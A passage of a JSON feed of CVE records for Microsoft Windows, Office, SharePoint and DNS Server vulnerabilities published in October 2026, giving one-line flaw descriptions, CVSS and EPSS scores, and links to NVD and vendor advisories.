execution using shared resource with improper synchronization ('race condition') in Microsoft Windows Search Component allows an authorized attacker to elevate...","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:36.383Z","updatedAt":"2026-10-20T00:38:05.373Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88160","asOf":"2026-10-20T00:38:05.373Z"},"epss":{"probability":0.00153,"percentile":0.04358,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88160&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88160","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88160","type":"primary","publishedAt":"2026-10-13T19:21:36.383Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88160","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88160&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88160, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88155","cveId":"CVE-2026-88155","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:35.590Z","updatedAt":"2026-10-14T19:44:38.500Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88155","asOf":"2026-10-14T19:44:38.500Z"},"epss":{"probability":0.00819,"percentile":0.56924,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88155&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88155","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88155","type":"primary","publishedAt":"2026-10-13T19:21:35.590Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88155","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88155&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88155, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88150","cveId":"CVE-2026-88150","aliases":[],"kind":"vulnerability","title":"Use of uninitialized resource in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Use of uninitialized resource in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Use of uninitialized resource in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:34.910Z","updatedAt":"2026-10-15T21:19:04.683Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88150","asOf":"2026-10-15T21:19:04.683Z"},"epss":{"probability":0.00758,"percentile":0.54936,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88150&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88150","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88150","type":"primary","publishedAt":"2026-10-13T19:21:34.910Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88150","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88150&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88150, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88145","cveId":"CVE-2026-88145","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:34.267Z","updatedAt":"2026-10-15T21:19:04.247Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88145","asOf":"2026-10-15T21:19:04.247Z"},"epss":{"probability":0.00743,"percentile":0.54417,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88145&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88145","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88145","type":"primary","publishedAt":"2026-10-13T19:21:34.267Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88145","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88145&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88145, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88144","cveId":"CVE-2026-88144","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:34.147Z","updatedAt":"2026-10-15T21:19:04.110Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88144","asOf":"2026-10-15T21:19:04.110Z"},"epss":{"probability":0.00929,"percentile":0.60316,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88144&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88144","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88144","type":"primary","publishedAt":"2026-10-13T19:21:34.147Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88144","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88144&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88144, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88116","cveId":"CVE-2026-88116","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.","summary":"Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.","detail":"Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:29.937Z","updatedAt":"2026-10-16T16:22:31.283Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88116","asOf":"2026-10-16T16:22:31.283Z"},"epss":{"probability":0.00718,"percentile":0.53577,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88116&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88116","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88116","type":"primary","publishedAt":"2026-10-13T19:21:29.937Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88116","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88116&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88116, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88114","cveId":"CVE-2026-88114","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.","summary":"Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.","detail":"Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:29.510Z","updatedAt":"2026-10-16T16:22:31.010Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88114","asOf":"2026-10-16T16:22:31.010Z"},"epss":{"probability":0.00703,"percentile":0.53021,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88114&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88114","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88114","type":"primary","publishedAt":"2026-10-13T19:21:29.510Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88114","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88114&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88114, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88112","cveId":"CVE-2026-88112","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.","summary":"Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.","detail":"Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:29.180Z","updatedAt":"2026-10-16T16:22:30.663Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88112","asOf":"2026-10-16T16:22:30.663Z"},"epss":{"probability":0.00703,"percentile":0.53021,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88112&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88112","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88112","type":"primary","publishedAt":"2026-10-13T19:21:29.180Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88112","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88112&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88112, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88109","cveId":"CVE-2026-88109","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:28.940Z","updatedAt":"2026-10-15T17:32:11.980Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88109","asOf":"2026-10-15T17:32:11.980Z"},"epss":{"probability":0.0034,"percentile":0.27133,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88109&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88109","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88109","type":"primary","publishedAt":"2026-10-13T19:21:28.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88109","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88109&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88109, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88105","cveId":"CVE-2026-88105","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:28.480Z","updatedAt":"2026-10-16T16:22:30.020Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88105","asOf":"2026-10-16T16:22:30.020Z"},"epss":{"probability":0.00303,"percentile":0.22815,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88105&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88105","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88105","type":"primary","publishedAt":"2026-10-13T19:21:28.480Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88105","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88105&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88105, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88103","cveId":"CVE-2026-88103","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:28.340Z","updatedAt":"2026-10-16T16:22:29.880Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88103","asOf":"2026-10-16T16:22:29.880Z"},"epss":{"probability":0.00252,"percentile":0.1646,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88103&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88103","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88103","type":"primary","publishedAt":"2026-10-13T19:21:28.340Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88103","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88103&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88103, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88101","cveId":"CVE-2026-88101","aliases":[],"kind":"vulnerability","title":"Weak authentication in Microsoft Input Method Editor (IME) allows an authorized attacker to elevate privileges locally.","summary":"Weak authentication in Microsoft Input Method Editor (IME) allows an authorized attacker to elevate privileges locally.","detail":"Weak authentication in Microsoft Input Method Editor (IME) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:28.040Z","updatedAt":"2026-10-17T04:17:07.567Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88101","asOf":"2026-10-17T04:17:07.567Z"},"epss":{"probability":0.00206,"percentile":0.10532,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88101&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 